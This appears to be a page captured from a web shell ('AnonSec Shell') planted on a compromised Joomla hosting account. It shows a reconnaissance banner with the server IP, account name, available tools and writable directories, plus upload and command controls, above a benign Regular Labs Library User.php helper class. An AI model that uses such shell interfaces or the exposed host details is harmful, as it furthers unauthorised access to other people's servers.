AnonSec Shell
Server IP : 46.105.57.169  /  Your IP : 216.73.217.8
Web Server : Apache
System : Linux webd003.cluster120.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : maitricfuz ( 93378)
PHP Version : 8.4.22
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/maitricfuz/www/saint-martin-lg/libraries/regularlabs/src/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/maitricfuz/www/saint-martin-lg/libraries/regularlabs/src/User.php
<?php

/**
 * @package         Regular Labs Library
 * @version         26.7.20176
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            https://regularlabs.com
 * @copyright       Copyright © 2026 Regular Labs All Rights Reserved
 * @license         GNU General Public License version 2 or later
 */
namespace RegularLabs\Library;

use DateTimeZone;
use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\User\User as JUser;
use Joomla\CMS\User\UserFactoryInterface as JUserFactoryInterface;
defined('_JEXEC') or die;
class User
{
    private const PUBLIC_DATA_FIELDS = ['id', 'name', 'username', 'email', 'block', 'registerDate', 'lastvisitDate'];
    private const FILTERABLE_DATA_FIELDS = [...self::PUBLIC_DATA_FIELDS, 'sendEmail', 'lastResetTime', 'resetCount', 'requireReset', 'authProvider'];
    private const SAFE_PARAMETER_FIELDS = ['language', 'editor', 'timezone', 'a11y_mono', 'a11y_contrast', 'a11y_highlight', 'a11y_font'];
    public static function authorise(string $action, ?string $assetname = null, ?int $id = null): bool
    {
        return self::get($id)->authorise($action, $assetname) ?? \false;
    }
    public static function get(?int $id = null): JUser
    {
        $user = $id ? self::getFactory()->loadUserById($id) : \RegularLabs\Library\Application::getCurrent()->getIdentity();
        return $user ?? self::getFactory()->loadUserById(0);
    }
    public static function getAuthorisedCategories(string $component, string $action, ?int $id = null): array
    {
        return self::get($id)->getAuthorisedCategories($component, $action);
    }
    public static function getAuthorisedGroups(?int $id = null): array
    {
        return self::get($id)->getAuthorisedGroups();
    }
    public static function getAuthorisedViewLevels(?int $id = null): array
    {
        return self::get($id)->getAuthorisedViewLevels();
    }
    public static function getByEmail(string $email): ?JUser
    {
        return self::getByKey('email', $email);
    }
    public static function getById(?int $id = null): ?JUser
    {
        if (!$id) {
            return null;
        }
        $user = static::get($id);
        if ($user->guest) {
            return null;
        }
        return $user;
    }
    public static function getByKey(string $key, string $value): ?JUser
    {
        $id = self::getIdByKey($key, $value);
        if (!$id) {
            return null;
        }
        return self::getById($id);
    }
    public static function getByUsername(string $username): ?JUser
    {
        return self::getByKey('username', $username);
    }
    public static function getEmail(?int $id = null): string
    {
        return (string) self::getValue('email', $id, '');
    }
    public static function getFilterableDataFields(): array
    {
        return self::FILTERABLE_DATA_FIELDS;
    }
    public static function getGuest(): JUser
    {
        return self::getFactory()->loadUserById(0);
    }
    public static function getId(?int $id = null): int
    {
        return (int) self::getValue('id', $id, 0);
    }
    public static function getName(?int $id = null): string
    {
        return (string) self::getValue('name', $id, '');
    }
    public static function getPublicDataFields(): array
    {
        return self::PUBLIC_DATA_FIELDS;
    }
    public static function getSafeParameterFields(): array
    {
        return self::SAFE_PARAMETER_FIELDS;
    }
    public static function getTimezone(?int $id = null): DateTimeZone
    {
        return self::get($id)->getTimezone();
    }
    public static function getUsername(?int $id = null): string
    {
        return (string) self::getValue('username', $id, '');
    }
    public static function getValue(string $key, ?int $id = null, $default = null): mixed
    {
        $user = self::get($id);
        return $user->{$key} ?? $default;
    }
    public static function hasId(int $id): bool
    {
        return self::getId() === $id;
    }
    public static function isAdministrator(?int $id = null): bool
    {
        return self::get($id)->authorise('core.admin') ?? \false;
    }
    public static function isCurrent(int $id): bool
    {
        return self::hasId($id);
    }
    public static function isFilterableDataField(string $key, string $default_key = ''): bool
    {
        $key = self::normalizeDataField($key, $default_key);
        return in_array($key, self::FILTERABLE_DATA_FIELDS, \true) || in_array(\RegularLabs\Library\StringHelper::toUnderscoreCase($key), self::SAFE_PARAMETER_FIELDS, \true);
    }
    public static function isGuest(?int $id = null): bool
    {
        return (bool) self::getValue('guest', $id, \true);
    }
    public static function isPublicDataField(string $key, string $default_key = ''): bool
    {
        $key = self::normalizeDataField($key, $default_key);
        return in_array($key, self::PUBLIC_DATA_FIELDS, \true) || in_array(\RegularLabs\Library\StringHelper::toUnderscoreCase($key), self::SAFE_PARAMETER_FIELDS, \true);
    }
    public static function resolveUserGroupIds(array|int|string $groups): array
    {
        if (is_string($groups)) {
            $decoded_groups = \RegularLabs\Library\Json::decode($groups, null, \true);
            $groups = is_array($decoded_groups) ? $decoded_groups : $groups;
        }
        $groups = \RegularLabs\Library\ArrayHelper::toListValue($groups);
        $ids = [];
        $titles = [];
        foreach ($groups as $group) {
            if (is_int($group) || is_string($group) && \RegularLabs\Library\RegEx::matchesEntireString('-?[0-9]+', $group, $match, '')) {
                $ids[] = (int) $group;
                continue;
            }
            $title = trim((string) $group);
            if ($title != '') {
                $titles[] = $title;
            }
        }
        if (empty($titles)) {
            return array_values(array_unique($ids));
        }
        $db = \RegularLabs\Library\DB::get();
        $query = $db->getQuery(\true)->select(['id', 'title'])->from('#__usergroups')->where(\RegularLabs\Library\DB::is('title', $titles, ['handle_wildcards' => \false]));
        $db->setQuery($query);
        $ids_by_title = [];
        foreach ($db->loadObjectList() as $group) {
            $title_key = \RegularLabs\Library\StringHelper::strtolower($group->title);
            $ids_by_title[$title_key] ??= [];
            $ids_by_title[$title_key][] = (int) $group->id;
        }
        foreach ($titles as $title) {
            $matching_ids = $ids_by_title[\RegularLabs\Library\StringHelper::strtolower($title)] ?? [];
            if (count($matching_ids) === 1) {
                $ids[] = $matching_ids[0];
            }
        }
        return array_values(array_unique($ids));
    }
    private static function getFactory(): JUserFactoryInterface
    {
        return JFactory::getContainer()->get(JUserFactoryInterface::class);
    }
    private static function getIdByKey(string $key, string $value): int
    {
        $cache = new \RegularLabs\Library\Cache();
        if ($cache->exists()) {
            return $cache->get();
        }
        $db = \RegularLabs\Library\DB::get();
        $query = $db->getQuery(\true)->select($db->quoteName('id'))->from($db->quoteName('#__users'))->where($db->quoteName($key) . ' = :value')->bind(':value', $value)->setLimit(1);
        $db->setQuery($query);
        $id = (int) $db->loadResult();
        return $cache->set($id);
    }
    private static function normalizeDataField(string $key, string $default_key): string
    {
        $key = $key === '' ? $default_key : $key;
        return \RegularLabs\Library\StringHelper::toCamelCase($key);
    }
}

Anon7 - 2022
AnonSec Team